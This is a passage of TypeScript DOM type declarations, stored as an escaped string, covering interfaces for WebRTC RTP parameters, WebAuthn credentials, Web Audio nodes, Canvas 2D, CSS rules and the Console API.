rtcpFeedback?: RTCRtcpFeedback[];\\n}\\n\\ninterface RTCRtpContributingSource {\\n    audioLevel?: number;\\n    csrc?: number;\\n    timestamp?: number;\\n}\\n\\ninterface RTCRtpEncodingParameters {\\n    active?: boolean;\\n    codecPayloadType?: number;\\n    dependencyEncodingIds?: string[];\\n    encodingId?: string;\\n    fec?: RTCRtpFecParameters;\\n    framerateScale?: number;\\n    maxBitrate?: number;\\n    maxFramerate?: number;\\n    minQuality?: number;\\n    priority?: number;\\n    resolutionScale?: number;\\n    rtx?: RTCRtpRtxParameters;\\n    ssrc?: number;\\n    ssrcRange?: RTCSsrcRange;\\n}\\n\\ninterface RTCRtpFecParameters {\\n    mechanism?: string;\\n    ssrc?: number;\\n}\\n\\ninterface RTCRtpHeaderExtension {\\n    kind?: string;\\n    preferredEncrypt?: boolean;\\n    preferredId?: number;\\n    uri?: string;\\n}\\n\\ninterface RTCRtpHeaderExtensionParameters {\\n    encrypt?: boolean;\\n    id?: number;\\n    uri?: string;\\n}\\n\\ninterface RTCRtpParameters {\\n    codecs?: RTCRtpCodecParameters[];\\n    degradationPreference?: RTCDegradationPreference;\\n    encodings?: RTCRtpEncodingParameters[];\\n    headerExtensions?: RTCRtpHeaderExtensionParameters[];\\n    muxId?: string;\\n    rtcp?: RTCRtcpParameters;\\n}\\n\\ninterface RTCRtpRtxParameters {\\n    ssrc?: number;\\n}\\n\\ninterface RTCRTPStreamStats extends RTCStats {\\n    associateStatsId?: string;\\n    codecId?: string;\\n    firCount?: number;\\n    isRemote?: boolean;\\n    mediaTrackId?: string;\\n    nackCount?: number;\\n    pliCount?: number;\\n    sliCount?: number;\\n    ssrc?: string;\\n    transportId?: string;\\n}\\n\\ninterface RTCRtpUnhandled {\\n    muxId?: string;\\n    payloadType?: number;\\n    ssrc?: number;\\n}\\n\\ninterface RTCSessionDescriptionInit {\\n    sdp?: string;\\n    type?: RTCSdpType;\\n}\\n\\ninterface RTCSrtpKeyParam {\\n    keyMethod?: string;\\n    keySalt?: string;\\n    lifetime?: string;\\n    mkiLength?: number;\\n    mkiValue?: number;\\n}\\n\\ninterface RTCSrtpSdesParameters {\\n    cryptoSuite?: string;\\n    keyParams?: RTCSrtpKeyParam[];\\n    sessionParams?: string[];\\n    tag?: number;\\n}\\n\\ninterface RTCSsrcRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface RTCStats {\\n    id?: string;\\n    msType?: MSStatsType;\\n    timestamp?: number;\\n    type?: RTCStatsType;\\n}\\n\\ninterface RTCStatsReport {\\n}\\n\\ninterface RTCTransportStats extends RTCStats {\\n    activeConnection?: boolean;\\n    bytesReceived?: number;\\n    bytesSent?: number;\\n    localCertificateId?: string;\\n    remoteCertificateId?: string;\\n    rtcpTransportStatsId?: string;\\n    selectedCandidatePairId?: string;\\n}\\n\\ninterface ScopedCredentialDescriptor {\\n    id?: any;\\n    transports?: Transport[];\\n    type?: ScopedCredentialType;\\n}\\n\\ninterface ScopedCredentialOptions {\\n    excludeList?: ScopedCredentialDescriptor[];\\n    extensions?: WebAuthnExtensions;\\n    rpId?: USVString;\\n    timeoutSeconds?: number;\\n}\\n\\ninterface ScopedCredentialParameters {\\n    algorithm?: string | Algorithm;\\n    type?: ScopedCredentialType;\\n}\\n\\ninterface ServiceWorkerMessageEventInit extends EventInit {\\n    data?: any;\\n    lastEventId?: string;\\n    origin?: string;\\n    ports?: MessagePort[];\\n    source?: ServiceWorker | MessagePort;\\n}\\n\\ninterface SpeechSynthesisEventInit extends EventInit {\\n    charIndex?: number;\\n    elapsedTime?: number;\\n    name?: string;\\n    utterance?: SpeechSynthesisUtterance;\\n}\\n\\ninterface StoreExceptionsInformation extends ExceptionInformation {\\n    detailURI?: string;\\n    explanationString?: string;\\n    siteName?: string;\\n}\\n\\ninterface StoreSiteSpecificExceptionsInformation extends StoreExceptionsInformation {\\n    arrayOfDomainStrings?: string[];\\n}\\n\\ninterface TrackEventInit extends EventInit {\\n    track?: VideoTrack | AudioTrack | TextTrack;\\n}\\n\\ninterface TransitionEventInit extends EventInit {\\n    elapsedTime?: number;\\n    propertyName?: string;\\n}\\n\\ninterface UIEventInit extends EventInit {\\n    detail?: number;\\n    view?: Window;\\n}\\n\\ninterface WebAuthnExtensions {\\n}\\n\\ninterface WebGLContextAttributes {\\n    failIfMajorPerformanceCaveat?: boolean;\\n    alpha?: boolean;\\n    antialias?: boolean;\\n    depth?: boolean;\\n    premultipliedAlpha?: boolean;\\n    preserveDrawingBuffer?: boolean;\\n    stencil?: boolean;\\n}\\n\\ninterface WebGLContextEventInit extends EventInit {\\n    statusMessage?: string;\\n}\\n\\ninterface WheelEventInit extends MouseEventInit {\\n    deltaMode?: number;\\n    deltaX?: number;\\n    deltaY?: number;\\n    deltaZ?: number;\\n}\\n\\ninterface EventListener {\\n    (evt: Event): void;\\n}\\n\\ninterface WebKitEntriesCallback {\\n    (evt: Event): void;\\n}\\n\\ninterface WebKitErrorCallback {\\n    (evt: Event): void;\\n}\\n\\ninterface WebKitFileCallback {\\n    (evt: Event): void;\\n}\\n\\ninterface AnalyserNode extends AudioNode {\\n    fftSize: number;\\n    readonly frequencyBinCount: number;\\n    maxDecibels: number;\\n    minDecibels: number;\\n    smoothingTimeConstant: number;\\n    getByteFrequencyData(array: Uint8Array): void;\\n    getByteTimeDomainData(array: Uint8Array): void;\\n    getFloatFrequencyData(array: Float32Array): void;\\n    getFloatTimeDomainData(array: Float32Array): void;\\n}\\n\\ndeclare var AnalyserNode: {\\n    prototype: AnalyserNode;\\n    new(): AnalyserNode;\\n};\\n\\ninterface ANGLE_instanced_arrays {\\n    drawArraysInstancedANGLE(mode: number, first: number, count: number, primcount: number): void;\\n    drawElementsInstancedANGLE(mode: number, count: number, type: number, offset: number, primcount: number): void;\\n    vertexAttribDivisorANGLE(index: number, divisor: number): void;\\n    readonly VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE: number;\\n}\\n\\ndeclare var ANGLE_instanced_arrays: {\\n    prototype: ANGLE_instanced_arrays;\\n    new(): ANGLE_instanced_arrays;\\n    readonly VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE: number;\\n};\\n\\ninterface AnimationEvent extends Event {\\n    readonly animationName: string;\\n    readonly elapsedTime: number;\\n    initAnimationEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, animationNameArg: string, elapsedTimeArg: number): void;\\n}\\n\\ndeclare var AnimationEvent: {\\n    prototype: AnimationEvent;\\n    new(typeArg: string, eventInitDict?: AnimationEventInit): AnimationEvent;\\n};\\n\\ninterface ApplicationCacheEventMap {\\n    \"cached\": Event;\\n    \"checking\": Event;\\n    \"downloading\": Event;\\n    \"error\": Event;\\n    \"noupdate\": Event;\\n    \"obsolete\": Event;\\n    \"progress\": ProgressEvent;\\n    \"updateready\": Event;\\n}\\n\\ninterface ApplicationCache extends EventTarget {\\n    oncached: (this: ApplicationCache, ev: Event) => any;\\n    onchecking: (this: ApplicationCache, ev: Event) => any;\\n    ondownloading: (this: ApplicationCache, ev: Event) => any;\\n    onerror: (this: ApplicationCache, ev: Event) => any;\\n    onnoupdate: (this: ApplicationCache, ev: Event) => any;\\n    onobsolete: (this: ApplicationCache, ev: Event) => any;\\n    onprogress: (this: ApplicationCache, ev: ProgressEvent) => any;\\n    onupdateready: (this: ApplicationCache, ev: Event) => any;\\n    readonly status: number;\\n    abort(): void;\\n    swapCache(): void;\\n    update(): void;\\n    readonly CHECKING: number;\\n    readonly DOWNLOADING: number;\\n    readonly IDLE: number;\\n    readonly OBSOLETE: number;\\n    readonly UNCACHED: number;\\n    readonly UPDATEREADY: number;\\n    addEventListener<K extends keyof ApplicationCacheEventMap>(type: K, listener: (this: ApplicationCache, ev: ApplicationCacheEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ApplicationCache: {\\n    prototype: ApplicationCache;\\n    new(): ApplicationCache;\\n    readonly CHECKING: number;\\n    readonly DOWNLOADING: number;\\n    readonly IDLE: number;\\n    readonly OBSOLETE: number;\\n    readonly UNCACHED: number;\\n    readonly UPDATEREADY: number;\\n};\\n\\ninterface Attr extends Node {\\n    readonly name: string;\\n    readonly ownerElement: Element;\\n    readonly prefix: string | null;\\n    readonly specified: boolean;\\n    value: string;\\n}\\n\\ndeclare var Attr: {\\n    prototype: Attr;\\n    new(): Attr;\\n};\\n\\ninterface AudioBuffer {\\n    readonly duration: number;\\n    readonly length: number;\\n    readonly numberOfChannels: number;\\n    readonly sampleRate: number;\\n    copyFromChannel(destination: Float32Array, channelNumber: number, startInChannel?: number): void;\\n    copyToChannel(source: Float32Array, channelNumber: number, startInChannel?: number): void;\\n    getChannelData(channel: number): Float32Array;\\n}\\n\\ndeclare var AudioBuffer: {\\n    prototype: AudioBuffer;\\n    new(): AudioBuffer;\\n};\\n\\ninterface AudioBufferSourceNodeEventMap {\\n    \"ended\": MediaStreamErrorEvent;\\n}\\n\\ninterface AudioBufferSourceNode extends AudioNode {\\n    buffer: AudioBuffer | null;\\n    readonly detune: AudioParam;\\n    loop: boolean;\\n    loopEnd: number;\\n    loopStart: number;\\n    onended: (this: AudioBufferSourceNode, ev: MediaStreamErrorEvent) => any;\\n    readonly playbackRate: AudioParam;\\n    start(when?: number, offset?: number, duration?: number): void;\\n    stop(when?: number): void;\\n    addEventListener<K extends keyof AudioBufferSourceNodeEventMap>(type: K, listener: (this: AudioBufferSourceNode, ev: AudioBufferSourceNodeEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var AudioBufferSourceNode: {\\n    prototype: AudioBufferSourceNode;\\n    new(): AudioBufferSourceNode;\\n};\\n\\ninterface AudioContextEventMap {\\n    \"statechange\": Event;\\n}\\n\\ninterface AudioContextBase extends EventTarget {\\n    readonly currentTime: number;\\n    readonly destination: AudioDestinationNode;\\n    readonly listener: AudioListener;\\n    onstatechange: (this: AudioContext, ev: Event) => any;\\n    readonly sampleRate: number;\\n    readonly state: AudioContextState;\\n    close(): Promise<void>;\\n    createAnalyser(): AnalyserNode;\\n    createBiquadFilter(): BiquadFilterNode;\\n    createBuffer(numberOfChannels: number, length: number, sampleRate: number): AudioBuffer;\\n    createBufferSource(): AudioBufferSourceNode;\\n    createChannelMerger(numberOfInputs?: number): ChannelMergerNode;\\n    createChannelSplitter(numberOfOutputs?: number): ChannelSplitterNode;\\n    createConvolver(): ConvolverNode;\\n    createDelay(maxDelayTime?: number): DelayNode;\\n    createDynamicsCompressor(): DynamicsCompressorNode;\\n    createGain(): GainNode;\\n    createIIRFilter(feedforward: number[], feedback: number[]): IIRFilterNode;\\n    createMediaElementSource(mediaElement: HTMLMediaElement): MediaElementAudioSourceNode;\\n    createMediaStreamSource(mediaStream: MediaStream): MediaStreamAudioSourceNode;\\n    createOscillator(): OscillatorNode;\\n    createPanner(): PannerNode;\\n    createPeriodicWave(real: Float32Array, imag: Float32Array, constraints?: PeriodicWaveConstraints): PeriodicWave;\\n    createScriptProcessor(bufferSize?: number, numberOfInputChannels?: number, numberOfOutputChannels?: number): ScriptProcessorNode;\\n    createStereoPanner(): StereoPannerNode;\\n    createWaveShaper(): WaveShaperNode;\\n    decodeAudioData(audioData: ArrayBuffer, successCallback?: DecodeSuccessCallback, errorCallback?: DecodeErrorCallback): Promise<AudioBuffer>;\\n    resume(): Promise<void>;\\n    addEventListener<K extends keyof AudioContextEventMap>(type: K, listener: (this: AudioContext, ev: AudioContextEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface AudioContext extends AudioContextBase {\\n    suspend(): Promise<void>;\\n}\\n\\ndeclare var AudioContext: {\\n    prototype: AudioContext;\\n    new(): AudioContext;\\n};\\n\\ninterface AudioDestinationNode extends AudioNode {\\n    readonly maxChannelCount: number;\\n}\\n\\ndeclare var AudioDestinationNode: {\\n    prototype: AudioDestinationNode;\\n    new(): AudioDestinationNode;\\n};\\n\\ninterface AudioListener {\\n    dopplerFactor: number;\\n    speedOfSound: number;\\n    setOrientation(x: number, y: number, z: number, xUp: number, yUp: number, zUp: number): void;\\n    setPosition(x: number, y: number, z: number): void;\\n    setVelocity(x: number, y: number, z: number): void;\\n}\\n\\ndeclare var AudioListener: {\\n    prototype: AudioListener;\\n    new(): AudioListener;\\n};\\n\\ninterface AudioNode extends EventTarget {\\n    channelCount: number;\\n    channelCountMode: ChannelCountMode;\\n    channelInterpretation: ChannelInterpretation;\\n    readonly context: AudioContext;\\n    readonly numberOfInputs: number;\\n    readonly numberOfOutputs: number;\\n    connect(destination: AudioNode, output?: number, input?: number): AudioNode;\\n    connect(destination: AudioParam, output?: number): void;\\n    disconnect(output?: number): void;\\n    disconnect(destination: AudioNode, output?: number, input?: number): void;\\n    disconnect(destination: AudioParam, output?: number): void;\\n}\\n\\ndeclare var AudioNode: {\\n    prototype: AudioNode;\\n    new(): AudioNode;\\n};\\n\\ninterface AudioParam {\\n    readonly defaultValue: number;\\n    value: number;\\n    cancelScheduledValues(startTime: number): AudioParam;\\n    exponentialRampToValueAtTime(value: number, endTime: number): AudioParam;\\n    linearRampToValueAtTime(value: number, endTime: number): AudioParam;\\n    setTargetAtTime(target: number, startTime: number, timeConstant: number): AudioParam;\\n    setValueAtTime(value: number, startTime: number): AudioParam;\\n    setValueCurveAtTime(values: Float32Array, startTime: number, duration: number): AudioParam;\\n}\\n\\ndeclare var AudioParam: {\\n    prototype: AudioParam;\\n    new(): AudioParam;\\n};\\n\\ninterface AudioProcessingEvent extends Event {\\n    readonly inputBuffer: AudioBuffer;\\n    readonly outputBuffer: AudioBuffer;\\n    readonly playbackTime: number;\\n}\\n\\ndeclare var AudioProcessingEvent: {\\n    prototype: AudioProcessingEvent;\\n    new(): AudioProcessingEvent;\\n};\\n\\ninterface AudioTrack {\\n    enabled: boolean;\\n    readonly id: string;\\n    kind: string;\\n    readonly label: string;\\n    language: string;\\n    readonly sourceBuffer: SourceBuffer;\\n}\\n\\ndeclare var AudioTrack: {\\n    prototype: AudioTrack;\\n    new(): AudioTrack;\\n};\\n\\ninterface AudioTrackListEventMap {\\n    \"addtrack\": TrackEvent;\\n    \"change\": Event;\\n    \"removetrack\": TrackEvent;\\n}\\n\\ninterface AudioTrackList extends EventTarget {\\n    readonly length: number;\\n    onaddtrack: (this: AudioTrackList, ev: TrackEvent) => any;\\n    onchange: (this: AudioTrackList, ev: Event) => any;\\n    onremovetrack: (this: AudioTrackList, ev: TrackEvent) => any;\\n    getTrackById(id: string): AudioTrack | null;\\n    item(index: number): AudioTrack;\\n    addEventListener<K extends keyof AudioTrackListEventMap>(type: K, listener: (this: AudioTrackList, ev: AudioTrackListEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [index: number]: AudioTrack;\\n}\\n\\ndeclare var AudioTrackList: {\\n    prototype: AudioTrackList;\\n    new(): AudioTrackList;\\n};\\n\\ninterface BarProp {\\n    readonly visible: boolean;\\n}\\n\\ndeclare var BarProp: {\\n    prototype: BarProp;\\n    new(): BarProp;\\n};\\n\\ninterface BeforeUnloadEvent extends Event {\\n    returnValue: any;\\n}\\n\\ndeclare var BeforeUnloadEvent: {\\n    prototype: BeforeUnloadEvent;\\n    new(): BeforeUnloadEvent;\\n};\\n\\ninterface BiquadFilterNode extends AudioNode {\\n    readonly detune: AudioParam;\\n    readonly frequency: AudioParam;\\n    readonly gain: AudioParam;\\n    readonly Q: AudioParam;\\n    type: BiquadFilterType;\\n    getFrequencyResponse(frequencyHz: Float32Array, magResponse: Float32Array, phaseResponse: Float32Array): void;\\n}\\n\\ndeclare var BiquadFilterNode: {\\n    prototype: BiquadFilterNode;\\n    new(): BiquadFilterNode;\\n};\\n\\ninterface Blob {\\n    readonly size: number;\\n    readonly type: string;\\n    msClose(): void;\\n    msDetachStream(): any;\\n    slice(start?: number, end?: number, contentType?: string): Blob;\\n}\\n\\ndeclare var Blob: {\\n    prototype: Blob;\\n    new (blobParts?: any[], options?: BlobPropertyBag): Blob;\\n};\\n\\ninterface Cache {\\n    add(request: RequestInfo): Promise<void>;\\n    addAll(requests: RequestInfo[]): Promise<void>;\\n    delete(request: RequestInfo, options?: CacheQueryOptions): Promise<boolean>;\\n    keys(request?: RequestInfo, options?: CacheQueryOptions): any;\\n    match(request: RequestInfo, options?: CacheQueryOptions): Promise<Response>;\\n    matchAll(request?: RequestInfo, options?: CacheQueryOptions): any;\\n    put(request: RequestInfo, response: Response): Promise<void>;\\n}\\n\\ndeclare var Cache: {\\n    prototype: Cache;\\n    new(): Cache;\\n};\\n\\ninterface CacheStorage {\\n    delete(cacheName: string): Promise<boolean>;\\n    has(cacheName: string): Promise<boolean>;\\n    keys(): any;\\n    match(request: RequestInfo, options?: CacheQueryOptions): Promise<any>;\\n    open(cacheName: string): Promise<Cache>;\\n}\\n\\ndeclare var CacheStorage: {\\n    prototype: CacheStorage;\\n    new(): CacheStorage;\\n};\\n\\ninterface CanvasGradient {\\n    addColorStop(offset: number, color: string): void;\\n}\\n\\ndeclare var CanvasGradient: {\\n    prototype: CanvasGradient;\\n    new(): CanvasGradient;\\n};\\n\\ninterface CanvasPattern {\\n    setTransform(matrix: SVGMatrix): void;\\n}\\n\\ndeclare var CanvasPattern: {\\n    prototype: CanvasPattern;\\n    new(): CanvasPattern;\\n};\\n\\ninterface CanvasRenderingContext2D extends Object, CanvasPathMethods {\\n    readonly canvas: HTMLCanvasElement;\\n    fillStyle: string | CanvasGradient | CanvasPattern;\\n    font: string;\\n    globalAlpha: number;\\n    globalCompositeOperation: string;\\n    imageSmoothingEnabled: boolean;\\n    lineCap: string;\\n    lineDashOffset: number;\\n    lineJoin: string;\\n    lineWidth: number;\\n    miterLimit: number;\\n    msFillRule: CanvasFillRule;\\n    shadowBlur: number;\\n    shadowColor: string;\\n    shadowOffsetX: number;\\n    shadowOffsetY: number;\\n    strokeStyle: string | CanvasGradient | CanvasPattern;\\n    textAlign: string;\\n    textBaseline: string;\\n    mozImageSmoothingEnabled: boolean;\\n    webkitImageSmoothingEnabled: boolean;\\n    oImageSmoothingEnabled: boolean;\\n    beginPath(): void;\\n    clearRect(x: number, y: number, w: number, h: number): void;\\n    clip(fillRule?: CanvasFillRule): void;\\n    createImageData(imageDataOrSw: number | ImageData, sh?: number): ImageData;\\n    createLinearGradient(x0: number, y0: number, x1: number, y1: number): CanvasGradient;\\n    createPattern(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement, repetition: string): CanvasPattern;\\n    createRadialGradient(x0: number, y0: number, r0: number, x1: number, y1: number, r1: number): CanvasGradient;\\n    drawFocusIfNeeded(element: Element): void;\\n    drawImage(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement | ImageBitmap, dstX: number, dstY: number): void;\\n    drawImage(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement | ImageBitmap, dstX: number, dstY: number, dstW: number, dstH: number): void;\\n    drawImage(image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement | ImageBitmap, srcX: number, srcY: number, srcW: number, srcH: number, dstX: number, dstY: number, dstW: number, dstH: number): void;\\n    fill(fillRule?: CanvasFillRule): void;\\n    fillRect(x: number, y: number, w: number, h: number): void;\\n    fillText(text: string, x: number, y: number, maxWidth?: number): void;\\n    getImageData(sx: number, sy: number, sw: number, sh: number): ImageData;\\n    getLineDash(): number[];\\n    isPointInPath(x: number, y: number, fillRule?: CanvasFillRule): boolean;\\n    measureText(text: string): TextMetrics;\\n    putImageData(imagedata: ImageData, dx: number, dy: number, dirtyX?: number, dirtyY?: number, dirtyWidth?: number, dirtyHeight?: number): void;\\n    restore(): void;\\n    rotate(angle: number): void;\\n    save(): void;\\n    scale(x: number, y: number): void;\\n    setLineDash(segments: number[]): void;\\n    setTransform(m11: number, m12: number, m21: number, m22: number, dx: number, dy: number): void;\\n    stroke(path?: Path2D): void;\\n    strokeRect(x: number, y: number, w: number, h: number): void;\\n    strokeText(text: string, x: number, y: number, maxWidth?: number): void;\\n    transform(m11: number, m12: number, m21: number, m22: number, dx: number, dy: number): void;\\n    translate(x: number, y: number): void;\\n}\\n\\ndeclare var CanvasRenderingContext2D: {\\n    prototype: CanvasRenderingContext2D;\\n    new(): CanvasRenderingContext2D;\\n};\\n\\ninterface CDATASection extends Text {\\n}\\n\\ndeclare var CDATASection: {\\n    prototype: CDATASection;\\n    new(): CDATASection;\\n};\\n\\ninterface ChannelMergerNode extends AudioNode {\\n}\\n\\ndeclare var ChannelMergerNode: {\\n    prototype: ChannelMergerNode;\\n    new(): ChannelMergerNode;\\n};\\n\\ninterface ChannelSplitterNode extends AudioNode {\\n}\\n\\ndeclare var ChannelSplitterNode: {\\n    prototype: ChannelSplitterNode;\\n    new(): ChannelSplitterNode;\\n};\\n\\ninterface CharacterData extends Node, ChildNode {\\n    data: string;\\n    readonly length: number;\\n    appendData(arg: string): void;\\n    deleteData(offset: number, count: number): void;\\n    insertData(offset: number, arg: string): void;\\n    replaceData(offset: number, count: number, arg: string): void;\\n    substringData(offset: number, count: number): string;\\n}\\n\\ndeclare var CharacterData: {\\n    prototype: CharacterData;\\n    new(): CharacterData;\\n};\\n\\ninterface ClientRect {\\n    bottom: number;\\n    readonly height: number;\\n    left: number;\\n    right: number;\\n    top: number;\\n    readonly width: number;\\n}\\n\\ndeclare var ClientRect: {\\n    prototype: ClientRect;\\n    new(): ClientRect;\\n};\\n\\ninterface ClientRectList {\\n    readonly length: number;\\n    item(index: number): ClientRect;\\n    [index: number]: ClientRect;\\n}\\n\\ndeclare var ClientRectList: {\\n    prototype: ClientRectList;\\n    new(): ClientRectList;\\n};\\n\\ninterface ClipboardEvent extends Event {\\n    readonly clipboardData: DataTransfer;\\n}\\n\\ndeclare var ClipboardEvent: {\\n    prototype: ClipboardEvent;\\n    new(type: string, eventInitDict?: ClipboardEventInit): ClipboardEvent;\\n};\\n\\ninterface CloseEvent extends Event {\\n    readonly code: number;\\n    readonly reason: string;\\n    readonly wasClean: boolean;\\n    initCloseEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, wasCleanArg: boolean, codeArg: number, reasonArg: string): void;\\n}\\n\\ndeclare var CloseEvent: {\\n    prototype: CloseEvent;\\n    new(typeArg: string, eventInitDict?: CloseEventInit): CloseEvent;\\n};\\n\\ninterface Comment extends CharacterData {\\n    text: string;\\n}\\n\\ndeclare var Comment: {\\n    prototype: Comment;\\n    new(): Comment;\\n};\\n\\ninterface CompositionEvent extends UIEvent {\\n    readonly data: string;\\n    readonly locale: string;\\n    initCompositionEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, dataArg: string, locale: string): void;\\n}\\n\\ndeclare var CompositionEvent: {\\n    prototype: CompositionEvent;\\n    new(typeArg: string, eventInitDict?: CompositionEventInit): CompositionEvent;\\n};\\n\\ninterface Console {\\n    assert(test?: boolean, message?: string, ...optionalParams: any[]): void;\\n    clear(): void;\\n    count(countTitle?: string): void;\\n    debug(message?: any, ...optionalParams: any[]): void;\\n    dir(value?: any, ...optionalParams: any[]): void;\\n    dirxml(value: any): void;\\n    error(message?: any, ...optionalParams: any[]): void;\\n    exception(message?: string, ...optionalParams: any[]): void;\\n    group(groupTitle?: string, ...optionalParams: any[]): void;\\n    groupCollapsed(groupTitle?: string, ...optionalParams: any[]): void;\\n    groupEnd(): void;\\n    info(message?: any, ...optionalParams: any[]): void;\\n    log(message?: any, ...optionalParams: any[]): void;\\n    msIsIndependentlyComposed(element: Element): boolean;\\n    profile(reportName?: string): void;\\n    profileEnd(): void;\\n    select(element: Element): void;\\n    table(...data: any[]): void;\\n    time(timerName?: string): void;\\n    timeEnd(timerName?: string): void;\\n    trace(message?: any, ...optionalParams: any[]): void;\\n    warn(message?: any, ...optionalParams: any[]): void;\\n}\\n\\ndeclare var Console: {\\n    prototype: Console;\\n    new(): Console;\\n};\\n\\ninterface ConvolverNode extends AudioNode {\\n    buffer: AudioBuffer | null;\\n    normalize: boolean;\\n}\\n\\ndeclare var ConvolverNode: {\\n    prototype: ConvolverNode;\\n    new(): ConvolverNode;\\n};\\n\\ninterface Coordinates {\\n    readonly accuracy: number;\\n    readonly altitude: number | null;\\n    readonly altitudeAccuracy: number | null;\\n    readonly heading: number | null;\\n    readonly latitude: number;\\n    readonly longitude: number;\\n    readonly speed: number | null;\\n}\\n\\ndeclare var Coordinates: {\\n    prototype: Coordinates;\\n    new(): Coordinates;\\n};\\n\\ninterface Crypto extends Object, RandomSource {\\n    readonly subtle: SubtleCrypto;\\n}\\n\\ndeclare var Crypto: {\\n    prototype: Crypto;\\n    new(): Crypto;\\n};\\n\\ninterface CryptoKey {\\n    readonly algorithm: KeyAlgorithm;\\n    readonly extractable: boolean;\\n    readonly type: string;\\n    readonly usages: string[];\\n}\\n\\ndeclare var CryptoKey: {\\n    prototype: CryptoKey;\\n    new(): CryptoKey;\\n};\\n\\ninterface CryptoKeyPair {\\n    privateKey: CryptoKey;\\n    publicKey: CryptoKey;\\n}\\n\\ndeclare var CryptoKeyPair: {\\n    prototype: CryptoKeyPair;\\n    new(): CryptoKeyPair;\\n};\\n\\ninterface CSS {\\n    supports(property: string, value?: string): boolean;\\n}\\ndeclare var CSS: CSS;\\n\\ninterface CSSConditionRule extends CSSGroupingRule {\\n    conditionText: string;\\n}\\n\\ndeclare var CSSConditionRule: {\\n    prototype: CSSConditionRule;\\n    new(): CSSConditionRule;\\n};\\n\\ninterface CSSFontFaceRule extends CSSRule {\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSFontFaceRule: {\\n    prototype: CSSFontFaceRule;\\n    new(): CSSFontFaceRule;\\n};\\n\\ninterface CSSGroupingRule extends CSSRule {\\n    readonly cssRules: CSSRuleList;\\n    deleteRule(index: number): void;\\n    insertRule(rule: string, index: number): number;\\n}\\n\\ndeclare var CSSGroupingRule: {\\n    prototype: CSSGroupingRule;\\n    new(): CSSGroupingRule;\\n};\\n\\ninterface CSSImportRule extends CSSRule {\\n    readonly href: string;\\n    readonly media: MediaList;\\n    readonly styleSheet: CSSStyleSheet;\\n}\\n\\ndeclare var CSSImportRule: {\\n    prototype: CSSImportRule;\\n    new(): CSSImportRule;\\n};\\n\\ninterface CSSKeyframeRule extends CSSRule {\\n    keyText: string;\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSKeyframeRule: {\\n    prototype: CSSKeyframeRule;\\n    new(): CSSKeyframeRule;\\n};\\n\\ninterface CSSKeyframesRule extends CSSRule {\\n    readonly cssRules: CSSRuleList;\\n    name: string;\\n    appendRule(rule: string): void;\\n    deleteRule(rule: string): void;\\n    findRule(rule: string): CSSKeyframeRule;\\n}\\n\\ndeclare var CSSKeyframesRule: {\\n    prototype: CSSKeyframesRule;\\n    new(): CSSKeyframesRule;\\n};\\n\\ninterface CSSMediaRule extends CSSConditionRule {\\n    readonly media: MediaList;\\n}\\n\\ndeclare var CSSMediaRule: {\\n    prototype: CSSMediaRule;\\n    new(): CSSMediaRule;\\n};\\n\\ninterface CSSNamespaceRule extends CSSRule {\\n    readonly namespaceURI: string;\\n    readonly prefix: string;\\n}\\n\\ndeclare var CSSNamespaceRule: {\\n    prototype: CSSNamespaceRule;\\n    new(): CSSNamespaceRule;\\n};\\n\\ninterface CSSPageRule extends CSSRule {\\n    readonly pseudoClass: string;\\n    readonly selector: string;\\n    selectorText: string;\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSPageRule: {\\n    prototype: CSSPageRule;\\n    new(): CSSPageRule;\\n};\\n\\ninterface CSSRule {\\n    cssText: string;\\n    readonly parentRule: CSSRule;\\n    readonly parentStyleSheet: CSSStyleSheet;\\n    readonly type: number;\\n    readonly CHARSET_RULE: number;\\n    readonly FONT_FACE_RULE: number;\\n    readonly IMPORT_RULE: number;\\n    readonly KEYFRAME_RULE: number;\\n    readonly KEYFRAMES_RULE: number;\\n    readonly MEDIA_RULE: number;\\n    readonly NAMESPACE_RULE: number;\\n    readonly PAGE_RULE: number;\\n    readonly STYLE_RULE: number;\\n    readonly SUPPORTS_RULE: number;\\n    readonly UNKNOWN_RULE: number;\\n    readonly VIEWPORT_RULE: number;\\n}\\n\\ndeclare var CSSRule: {\\n    prototype: CSSRule;\\n    new(): CSSRule;\\n    readonly CHARSET_RULE: number;\\n    readonly FONT_FACE_RULE: number;\\n    readonly IMPORT_RULE: number;\\n    readonly KEYFRAME_RULE: number;\\n    readonly KEYFRAMES_RULE: number;\\n    readonly MEDIA_RULE: number;\\n    readonly NAMESPACE_RULE: number;\\n    readonly PAGE_RULE: number;\\n    readonly STYLE_RULE: number;\\n    readonly SUPPORTS_RULE: number;\\n    readonly UNKNOWN_RULE: number;\\n    readonly VIEWPORT_RULE: number;\\n};\\n\\ninterface CSSRuleList {\\n    readonly length: number;\\n    item(index: number): CSSRule;\\n    [index: number]: CSSRule;\\n}\\n\\ndeclare var CSSRuleList: {\\n    prototype: CSSRuleList;\\n    new(): CSSRuleList;\\n};\\n\\ninterface CSSStyleDeclaration {\\n    alignContent: string | null;\\n    alignItems: string | null;\\n    alignmentBaseline: string | null;\\n    alignSelf: string | null;\\n    animation: string | null;\\n    animationDelay: string | null;\\n    animationDirection: string | null;\\n    animationDuration: string | null;\\n    animationFillMode: string | null;\\n    animationIterationCount: string | null;\\n    animationName: string | null;\\n    animationPlayState: string | null;\\n    animationTimingFunction: string | null;\\n    backfaceVisibility: string | null;\\n    background: string | 